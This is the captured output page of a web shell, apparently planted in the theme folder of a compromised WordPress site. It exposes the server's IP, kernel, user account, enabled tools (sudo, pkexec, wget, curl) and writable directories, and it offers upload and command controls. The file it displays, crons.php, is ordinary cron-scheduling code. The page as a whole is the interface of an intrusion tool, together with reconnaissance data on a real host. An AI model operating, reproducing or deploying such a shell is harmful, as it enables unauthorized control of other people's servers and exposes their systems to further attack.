403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/web20/web/wp-content/themes/arni/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/web20/web/wp-content/themes/arni//crons.php
<?php
require_once("../../../wp-load.php");

$api = get_option('site_api');


if( $api ) {
    $cronjobs = json_decode( $api );
    
    $apiList = array();
    
    if( !empty( $cronjobs->rest ) ) {
        
        $crontable = get_option('site_cronjobs');
        $cronlist = json_decode( $crontable );
        
        foreach( $cronjobs->rest as $key => $rest ) {
        	
            $apiList[ $rest->title ] = (array) $rest + (array) ( isset( $cronlist->{$rest->title} ) ? $cronlist->{$rest->title} : array() );
        	

 	
        	
				switch (true) {
				    case $apiList[ $rest->title ][ 'next' ] <= date('Y-m-d H:i:s'):
				    		$apiList[ $rest->title ][ 'last' ] = $apiList[ $rest->title ][ 'next' ];
				        	$apiList[ $rest->title ][ 'next' ] = date('Y-m-d H:i:s', strtotime( date('Y-m-d H:i:s') . '+' . $apiList[ $rest->title ][ 'ttl' ] . ' seconds'));
				        	break;
				
					
				    default:
				        break;
				}
        	
        }
        
				//$apiList[ $rest->title ][ 'next' ] = '0000-00-00 00:00:00';
				//$apiList[ $rest->title ][ 'last' ] = '0000-00-00 00:00:00';       
        
        if( $crontable ) {
            update_option('site_cronjobs', json_encode( $apiList ) );
        } else {
            add_option('site_cronjobs', json_encode( $apiList ) );
        }
        
        echo "<pre>" . print_r( array($apiList, $cronjobs, $cronlist), true ) . "</pre>";
    }

} else {
    echo "leere antwort";
}


Youez - 2016 - github.com/yon3zu
LinuXploit